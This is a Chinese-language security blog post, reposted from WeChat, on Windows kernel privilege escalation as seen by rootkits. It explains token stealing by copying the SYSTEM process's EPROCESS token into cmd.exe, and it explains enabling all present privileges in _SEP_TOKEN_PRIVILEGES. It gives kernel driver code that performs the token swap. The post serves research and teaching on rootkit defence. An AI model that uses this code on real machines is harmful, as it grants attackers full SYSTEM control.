权限提升
测试环境:
原理剖析
其实可以手动实现这个过程
首先打开一个cmd.exe
结构体中表示权限的是一个叫+0x4b8 Token : _EX_FAST_REF
的东西
Token是一个_EX_FAST_REF
类型的Union值
RefCnt
记录了Token引用的数目,是数据的低4位(64位中,32位是3位)
将当前进程的除RefCnt
以外的其他bit位设置为和System的一致就行了
这里 Value
与掩码-0xd
(RefCount)进行&
运算就能得到真实的Token值
现在将计算出的Token值复制给cmd.exe(这是一个新的Token)
更进一步
另外一种就是经典的 _sep_token Privileges Abusing
在+0x40
的位置是一个_sep_token_privileges
结构体
Present
:包含令牌的当前特权
Enabled
:包含令牌上所有已启用的特权
EnabledByDefault
表示令牌在构造时的默认状态
尝试将enable
值变为present
如果方法一中有部分权限未启用,可以使用这种方法开启所有特权
代码分析
DWORDPrivilegeElevationForProcess(intpid){PVOIDprocess=NULL;PVOIDsystemProcess=NULL;PACCESS_TOKENtargetToken=NULL;PACCESS_TOKENsystemToken=NULL;__try {// Lookup the target process by PIDNTSTATUSstatus=PsLookupProcessByProcessId((HANDLE)pid, &process);//...status=PsLookupProcessByProcessId((HANDLE)0x4, &systemProcess);//...char*imageName=PsGetProcessImageFileName((PEPROCESS)process);DbgPrint("Target process image name: %sn", imageName);targetToken=PsReferencePrimaryToken(process);//...DbgPrint("%s token: %xn", imageName, targetToken);systemToken=PsReferencePrimaryToken(systemProcess);//...DbgPrint("System token: %xn", systemToken);ULONG_PTRtargetTokenAddress= (ULONG_PTR)process+eoffsets.Token_offset;DbgPrint("%s token address: %xn", imageName, targetTokenAddress);ULONG_PTRsystemTokenAddress= (ULONG_PTR)systemProcess+eoffsets.Token_offset;DbgPrint("System token address: %xn", systemTokenAddress);*(PHANDLE)targetTokenAddress=*(PHANDLE)systemTokenAddress;DbgPrint("Process %s token updated to: %xn", imageName, *(PHANDLE)(targetTokenAddress)); }__finally {//... }returnSTATUS_SUCCESS;}
最关键的就是*(PHANDLE)targetTokenAddress = *(PHANDLE)systemTokenAddress;
效果
原文始发于微信公众号(不止Sec):windows rookit防护-权限提升
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论